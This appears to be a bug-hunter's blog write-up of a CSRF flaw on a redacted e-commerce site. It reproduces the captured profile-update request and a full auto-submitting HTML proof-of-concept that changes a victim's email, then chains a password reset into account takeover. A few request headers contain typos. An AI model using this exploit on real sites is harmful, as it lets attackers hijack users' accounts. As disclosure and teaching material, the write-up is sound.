How I Was Able to Takeover User Accounts via CSRF on an E-Commerce Website
Cross-site request forgery (CSRF) is a prevalent security vulnerability that plagues web applications.
This threat arises when a malicious website manages to deceive a user’s browser into sending a request to another website without the user’s awareness or consent.
The implications are serious, potentially allowing unauthorized actions like altering a user’s profile, posting unwarranted content, or even making illicit purchases.
The Mechanics of CSRF – How it works?
Imagine a scenario where a user, whom we’ll call Victim A, has logged into an online bank website vulnerable to CSRF. Victim A initiates a request to transfer funds to a family member, let’s say, Little Timmy. However, if Victim A then visits a malicious website designed by Attacker B, exploiting the CSRF vulnerability, the malicious site can surreptitiously dispatch a pre-forged request to the bank, transferring funds to Attacker B, all without Victim A’s knowledge. This surreptitious action is feasible because Victim A’s browser automatically includes a valid session token with each request, allowing Attacker B to impersonate Victim A.
Protecting Against CSRF Attacks
Mitigating CSRF attacks necessitates the implementation of robust security measures on websites. A common strategy is the inclusion of a unique token, commonly referred to as a CSRF token, with each form submission. This token undergoes server validation to ensure that the request originates from the intended website, thus thwarting malicious attempts.
To recap, CSRF is a severe security risk that can have dire consequences for both users and websites. Awareness of this threat is paramount for web developers, who must take proactive measures to shield their users.
Uncovering CSRF Vulnerabilities: A Case Study
Our focus shifts to a prominent e-commerce website in the United States, which, like most of its peers, offers a feature allowing customers to edit their profiles. To protect the identity of the website, we’ll refer to it as “redacted.com.”
In my investigation, I began by creating a dummy victim account and inputting the required details.
While testing the profile update feature using Burp Suite, I noticed a significant security gap. The server utilized a POST request for profile updates, but crucially, it lacked CSRF protection. The request appeared as follows:
POST /secure/profile/profile_form_handler.php HTTP/2
Host: redacted.com
Cookie: <user_cookies_goes_here>
User-Agent: Mozilla/5.0 (Windows VT 10.0; Win64; x64, rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: grip, deflate
Content-Type: application/x-www-form-urlencoded, charset=UTF-8
X-Requested-With: XMLMttpRequest
Content-Length: 231
Origin: redacted.com
Referer: https://redacted.com/secure/profile/profile
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
nextpage=%2Fsecure%2Fprofile%2Fupdated_profile&prevpage=%2Fsecure%2Fprofile%2Fprofile&fromea=&selectedRadialValue=790&txtEmail=victimemail%40gmail.com& txtFirstName=victim&txtLastName=victim&txtDayPhone=12345678&hdnSmsPhone=12345678
Recognizing the vulnerability, I proceeded to adapt a CSRF Proof of Concept (POC) from an existing report (https://hackerone.com/reports/834366), modifying the data to suit my needs. Here’s my POC:
<!DOCTYPE html>
<html>
<body>
<form action="https://redacted.com/secure/profile/profile_form_handler.php" method="POST">
<input type="hidden" name="nextpage" value="%2Fsecure%2Fprofile%2Fupdated_profile"/>
<input type="hidden" name="prevpage" value="%2Fsecure%2Fprofile%2Fprofile"/>
<input type="hidden" name="selectedRadialValue" value="790"/>
<input type="hidden" name="txtEmail" value="[email protected]"/>
<input type="hidden" name="txtFirstName" value="hacked"/>
<input type="hidden" name="txtLastName" value="hacked"/>
<input type="hidden" name="txtDayPhone" value="999999999"/>
<input type="hidden" name="hdnSmsPhone" value="999999999"/>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
I then loaded this POC in the victim’s browser, which resulted in a “success” response. Subsequently, upon revisiting the redacted.com profile page, it became evident that the attacker had successfully updated the victim’s profile with a single click.
The Account Takeover
With the victim’s email successfully altered, the path to an account takeover was laid out. The missing puzzle piece? The victim’s password.
I proceeded to open an incognito browser window to assume the role of the attacker. Upon visiting the redacted.com login page, I located the “forgot password” link. Armed with the knowledge that the victim’s email had been changed to “[email protected],” I requested a password reset link to be sent to this altered email.
A password reset link promptly arrived in the attacker’s email inbox. Following the link, I set a new password, effectively taking over the victim’s account without ever gaining access to their original email or password.
In conclusion, this real-world case underscores the critical importance of thorough security measures in safeguarding against CSRF vulnerabilities. Vigilance and proactive defense strategies are the keystones of a robust security posture, protecting both user data and website integrity.
